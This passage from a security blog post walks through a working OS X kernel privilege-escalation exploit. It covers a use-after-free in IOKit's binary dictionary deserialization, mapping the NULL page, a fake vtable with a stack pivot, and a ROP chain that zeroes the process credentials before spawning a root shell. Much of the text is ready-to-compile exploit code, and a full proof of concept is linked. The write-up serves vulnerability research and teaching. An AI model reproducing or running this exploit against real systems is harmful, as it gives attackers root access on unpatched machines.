So, summarizing what we know so far: we know that the OSString key object will get freed as soon as it is deserialized and that we can serialize an OSData with size 32 immediately after the OSString, to reallocate the memory. Then, we will serialize a reference to the OSString after the OSData, which will call retain upon deserialization and trigger the bug. Nice! The only thing left wondering is what data to put inside the OSData buffer.

For that, consider the call to retain. If you know how C++ calling conventions work, you probably know that since OSString is a subclass of OSObject, and retain is actually implemented in OSObject, the control flow will get through the vtable, to call the proper parent implementation (since OSString does not reimplement retain). This means that we have to craft a fake vtable, to get control over execution. The kernel will think that our fake vtable is perfectly valid, while it will contain a pointer (instead of retain) to our stack pivot.

The fake vtable pointer will then be placed at the start of the OSData buffer, since vtable pointers in valid C++ objects are always found at the start of the object. We’ll place our fake vtable and stack pivot in the NULL page, because the NULL address placed into the OSData is easier to control. Other addresses may get modified by some operation performed on them, instead NULL doesn’t change. This means that we’ll have to fill the OSData with zeroes.

As with the info-leak, let’s look at a plan for exploiting the use-after-free before getting to the code:

  • Craft a binary dictionary that triggers the UAF and reallocates the freed OSString with a zero-filled OSData buffer.
  • Map the NULL page[11].
  • Place a stack pivot[12] at offset 0x20 into the NULL page (this will transfer execution to the transfer chain).
  • Place a small transfer chain at offset 0x0 into the NULL page (this will transfer execution to the main chain).
  • Trigger the bug.
  • With now elevated privileges, spawn a shell.

Here’s the code:

void use_after_free(void)
{
    kern_return_t kr = 0;
    mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;

    /* craft the dictionary */

    printf("(i) Crafting dictionary...\n");

    void *dict = calloc(1, 512);
    uint32_t idx = 0; // index into our data

#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)

    WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning

    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 6)); // dict with 6 entries

    WRITE_IN(dict, (kOSSerializeString | 4));   // string 'AAA', will get freed
    WRITE_IN(dict, (0x00414141));

    WRITE_IN(dict, (kOSSerializeBoolean | 1));  // bool, true

    WRITE_IN(dict, (kOSSerializeSymbol | 4));   // symbol 'BBB'
    WRITE_IN(dict, (0x00424242));

    WRITE_IN(dict, (kOSSerializeData | 32));    // data (0x00 * 32)
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));

    WRITE_IN(dict, (kOSSerializeSymbol | 4));   // symbol 'CCC'
    WRITE_IN(dict, (0x00434343));

    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeObject | 1));   // ref to object 1 (OSString)

    /* map the NULL page */

    mach_vm_address_t null_map = 0;

    vm_deallocate(mach_task_self(), 0x0, PAGE_SIZE);

    kr = mach_vm_allocate(mach_task_self(), &null_map, PAGE_SIZE, 0);
    if (kr != KERN_SUCCESS)
        return;

    macho_map_t *map = map_file_with_path(KERNEL_PATH_ON_DISK);

    printf("(i) Leaking kslide...\n");

    SET_KERNEL_SLIDE(kslide_infoleak()); // set global kernel slide

    /* set the stack pivot at 0x20 */

    *(volatile uint64_t *)(0x20) = (volatile uint64_t)ROP_XCHG_ESP_EAX(map); // stack pivot

    /* build ROP chain */

    printf("(i) Building ROP chain...\n");

    rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));

    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));

    PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));

    PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));

    PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
    PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));

    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));

    /* chain transfer, will redirect execution flow from 0x0 to our main chain above */

    uint64_t *transfer = (uint64_t *)0x0;
    transfer[0] = ROP_POP_RSP(map);
    transfer[1] = (uint64_t)chain->chain;

    /* trigger */

    printf("(+) All done! Triggering the bug!\n");

    host_get_io_master(mach_host_self(), &master); // get iokit master port

    kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
    if (kr != KERN_SUCCESS)
        return;
}

I use a lot of code coming from an external library in this snippet, that is available on GitHub along with the other code for this post. Just remember that the PUSH_GADGET macro is used to write values inside of the ROP chain, kinda like WRITE_IN for serialized data. The gadget macros like ROP_POP_XXX are used to find ROP gadgets inside of the kernel binary, same thing for the find_symbol_address calls but that are used to find functions. The addresses of gadgets and functions in the ROP chain are of course slid before being inserted there (with the slide we found earlier).

Crafting the dictionary

The process is very similar to what we did before, but the dictionary’s contents are different. An XML translation would be:

<dict>
    <string>AAA</string>
    <boolean>true</boolean>

    <symbol>BBB</symbol>
    <data>
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    </data>

    <symbol>CCC</symbol>
    <reference>1</reference> <!-- we are referring to object 1 in the dictionary, the string -->
</dict>

We obviously use an OSSymbol for the second key to avoid reallocating the first freed OSString. What will happen is that the OSData buffer (filled with zeroes) will reallocate the OSString space, and when the call to retain happens (when OSUnserializeBinary parses the reference) the kernel will read the vtable pointer from our buffer. The pointer is located in the first 8 bytes of the buffer, and it will read zero.

The kernel will dereference that pointer, adding the retain offset to read the parent retain pointer stored in the vtable. The offset is 0x20 (32), and this means that RIP will end up at 0x20.

This would be unexploitable in many systems, where mapping the NULL page is not possible, but that is not true on OS X. Apple does not enforce the hard __PAGEZERO segment on 32-bit binaries, for legacy reasons. This means that if our is a 32-bit compiled binary (and it already is, since we compiled it so to use private IOKit APIs) the kernel executes the binary even if it is lacking the __PAGEZERO segment. This means we can easily map NULL and set our stack pivot there.

Mapping NULL

As said before, Apple is not enforcing hard __PAGEZERO on 32-bit binaries. By compiling our binary as a 32-bit and including the -pagezero_size,0 flag, we can effectively disable the __PAGEZERO segment and map NULL at runtime. In code:

mach_vm_address_t null_map = 0;

vm_deallocate(mach_task_self(), 0x0, PAGE_SIZE);

kr = mach_vm_allocate(mach_task_self(), &null_map, PAGE_SIZE, 0);
if (kr != KERN_SUCCESS)
    return;

Pivoting the stack

After the kernel dereferences our fake vtable pointer pointing at NULL+0x20, we have successfully gained RIP control.

However, before running our main chain, we need to pivot the stack, i.e. achieve RSP control (or stack control). That can be done in many ways, but the final goal is to put the chain address into RSP. If we don’t set RSP to the chain address, the next gadgets won’t be executed, since the ret instruction in the first gadget will return to the wrong stack (the original one). When RSP is properly set, the ret instruction will read our next gadget/function address from the ROP stack, and set RIP to it. This is what we want!

The way I’m achieving stack control with NULL dereferences is to use a single gadget which exchanges RSP with RAX. If the value in RAX is controlled, game’s over! In this case, RAX will always contain 0 (it will hold the next 8 bytes of our OSData buffer, hence always zero), so we can map our small transfer chain at 0, and set the pivot to 0x20. What will happen is that RIP will get set to 0x20, execute the exchange gadget, set RSP to 0, then return, pop the first address in the chain into RIP and start executing the chain.

The only small note to make is what is the purpose of the transfer chain (mapped at 0). That actually re-sets RSP again to the main chain. This is done because we do not have much space between 0 and 0x20 (only 32 bytes, aka only 4 addresses), which is not enough to fully store our privilege-escalating chain.

*(volatile uint64_t *)(0x20) = (volatile uint64_t)ROP_XCHG_ESP_EAX(map); // stack pivot

Here’s the transfer code, which just reads the next value on the stack and pops it into RSP (we can do this now, since we control RSP).

uint64_t *transfer = (uint64_t *)0x0;
transfer[0] = ROP_POP_RSP(map);
transfer[1] = (uint64_t)chain->chain;

The main chain

Now the real part of the exploit. What we do here is crucial: being now able to execute kernel code, to elevate our privileges we have to find our process’ credentials structure in memory and zero that out. By zeroing it out, we escalate our process’ privileges (root group IDs are all zeroes).

What we are doing is essentially mimicking setuid(0), but we can’t just call that since it has privilege checks. thread_exception_return simply gets us out of kernel zone without panicking, it is normally used to return from kernel traps.

The ROP_RAX_TO_ARG1 macro moves the RAX register, which holds the previous call’s return value, into RDI (aka the first parameter for the next function call).

/*
*   chain prototype:
*   
*   proc = current_proc();
*   ucred = proc_ucred(proc);
*   posix_cred = posix_cred_get(ucred);
*
*   bzero(posix_cred, (sizeof(int) * 3));
*
*   thread_exception_return();
*/

rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));

PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));

PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));

PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));

PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));

PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));

And finally we can trigger the bug using the same code we used to test the validity of our dictionary while infoleaking:

host_get_io_master(mach_host_self(), &master); // get iokit master port

kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
if (kr != KERN_SUCCESS)
    return;

If everything goes fine we will elevate our privileges. To check if all went good, simply call getuid and see if the return value equals 0. If so, your process has now root privileges, so just call system("/bin/bash") to pop a shell!

if (getuid() == 0) {
    puts("(+) got r00t!");
    system("/bin/bash");
}

And after all the work done, here’s our shell, finally!

Conclusion

This surely was a long read (and for me, a long write too!). I really appreciate that you have read this far, and seriously hope you found this interesting. This was also my first blog post, and being not used to write this much, I apologize if you found the reading a bit sloppy.

Down below are all the link references made in the post, plus the link to the GitHub repo, where all the code is available. Thanks again for taking this read, I hope you’ll be there when I decide to write something else! To keep updated, follow me on Twitter.

PoC Code

The whole PoC is available on GitHub. Feel free to submit a pull request if you want!

Credits and thanks

References

  1. The info leak era on software exploitation –– Fermin J. Serna (@fjserna)
  2. Kernel ASLR –– The iPhone Wiki
  3. What is a code reuse attack? –– Quora
  4. The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) –– Hovav Shacham
  5. User Client Info.txt –– Apple
  6. Using freed memory –– OWASP
  7. An Introduction to Use After Free Vulnerabilities –– Lloyd Simon
  8. Attacking the XNU Kernel For Fun And Profit – Part 1 –– Luca Todesco (@qwertyoruiopz)
  9. Attacking the XNU Kernel in El Capitan –– Luca Todesco (@qwertyoruiopz)
  10. iOS Kernel Heap Armageddon –– Stefan Esser (@i0n1c)
  11. What happens in OS when we dereference a NULL pointer in C? –– StackOverflow
  12. Stack Pivoting –– Neil Sikka